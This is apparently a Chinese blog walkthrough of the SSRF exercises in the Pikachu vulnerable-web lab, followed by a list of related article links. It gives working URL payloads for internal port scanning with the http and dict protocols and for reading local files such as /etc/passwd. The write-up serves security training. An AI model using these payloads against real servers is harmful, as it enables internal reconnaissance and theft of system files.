pikachu_ssrf攻略

ssrf(curl):

打开pikachu靶场:

http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_info/info1.php

发现URL地址最后面是info1.php 猜测一下有没有可能存在info2.php?

尝试修改访问地址:

因为curl支持很多协议(http,file想,dict等),尝试访问一下:

文件访问(http)

比如说修改url为:?url=http://www.baidu.com,访问百度页面?url=http://www.baidu.com/robots.txt,访问百度文件等

?url=http://www.baidu.com

?url=http://www.baidu.com/img/bd_logo.png

?url=http://www.baidu.com/robots.txt

端口扫描(http,dict)

使用dict协议可以获取内网主机开放端口相应服务的指纹信息,比如说主机开了http端口

?url=http://127.0.0.1:80

?url=http://127.0.0.1:3306

?url=dict://127.0.0.1:3306

?url=http://10.10.10.1:22

?url=http://10.10.10.1:6379

读取本地文件(file)

修改url为:?url=file:///etc/passwd,查看文件的内容:

?url=file:///c:/windows/system32/drivers/etc/hosts

?url=file:///etc/passwd

?url=file:/c:/www/ssrf/ssrf_curl.php

ssrf(file_get_content)

首先了解什么是file_get_content的使用:

file_get_contents() 把整个文件读入一个字符串中。

语法:file_get_contents(path,include_path,context,start,max_length)

进行协议测试:

文件读取

读取本地信息?file=file:///c:/1.txt

http协议请求内网资源

?file=http://127.0.0.1/ssrf/ssrf_curl.php读取文件内容

相关推荐
AI绘画小3311 小时前
CTF 逆向一脸懵?这篇攻略把破解技巧讲透,新手也能快速上手!
测试工具·web安全·网络安全
盛满暮色 风止何安11 小时前
WAF的安全策略
linux·运维·服务器·网络·网络协议·安全·网络安全
pandarking12 小时前
[CTF]攻防世界:ics-05
开发语言·javascript·web安全·网络安全·ecmascript
楠目13 小时前
SSRF攻击:原理、手法与演进
网络·ssrf
jenchoi41313 小时前
【2025-11-28】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
网络·安全·web安全·网络安全·npm
jenchoi41313 小时前
【2025-11-29】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
网络·安全·web安全·网络安全·npm
Bruce_Liuxiaowei13 小时前
Linux 内存获取方法详解
linux·运维·网络安全
XH-hui13 小时前
【打靶日记】群内靶机 Creds
linux·网络安全
半路_出家ren14 小时前
Tomcat下配置woniusales
java·数据库·mysql·网络安全·adb·tomcat·firewalld
palette73714 小时前
buuctf 刷题记录
网络安全